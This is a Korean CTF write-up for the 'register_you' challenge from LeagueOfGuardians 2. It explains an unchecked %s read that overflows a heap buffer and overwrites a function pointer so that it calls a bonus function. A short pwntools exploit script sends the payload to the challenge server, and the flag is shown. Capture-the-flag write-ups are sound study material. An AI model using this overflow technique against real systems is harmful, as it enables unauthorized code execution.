반응형
[LeagueOfGuardians 2] register_you
바이너리는 64bit고 NX가 걸려있습니다.
v6에 malloc으로 동적 할당을 하고 v6 + 3 (v6은 *형이고 64bit이기 때문에 +3은 +24임)에 hello 함수를 넣습니다.
즉, v6 + 3은 함수 포인터입니다. 그리고 이 함수를 1번 메뉴 register에서 호출하게 됩니다.
마침 바이너리에서 bonus 함수를 제공합니다.
저 함수 포인터를 bonus 함수의 주소로 바꿔주면 됩니다.
bonus 함수의 주소 : 0x400806
자, 다시 main의 3번 메뉴를 보면 v6에 %s로 입력 검증 없이 받고 있습니다.
dummy 값 24byte와 보너스 함수의 주소를 넘겨주면 될 것 같네요.
1 2 3 4 5 6 7 8 9 10 11 |
from pwn import *
s = remote("13.209.121.90", 7777) bonus = 0x400806
s.sendlineafter("exit\n", "3") s.sendlineafter("memo : \n", "A"*24 + p64(bonus)) #dummy 24byte + bonus s.sendlineafter("exit\n", "1") s.sendlineafter("name? :)\n", "AAAA") #call bonus
s.interactive() |
FLAG : A r0lling ston3 gath3rs n0 moss
반응형
'System&Write up > CTF' 카테고리의 다른 글
[LeagueOfGuardians 2] Return to Life (0) | 2018.07.24 |
---|---|
[LeagueOfGuardians 2] FOR (0) | 2018.07.24 |
[Codegate 2016] watermelon (0) | 2018.06.03 |
[Codegate 2018] catshop (0) | 2018.04.08 |
[Codegate 2018] DaysNote (0) | 2018.04.08 |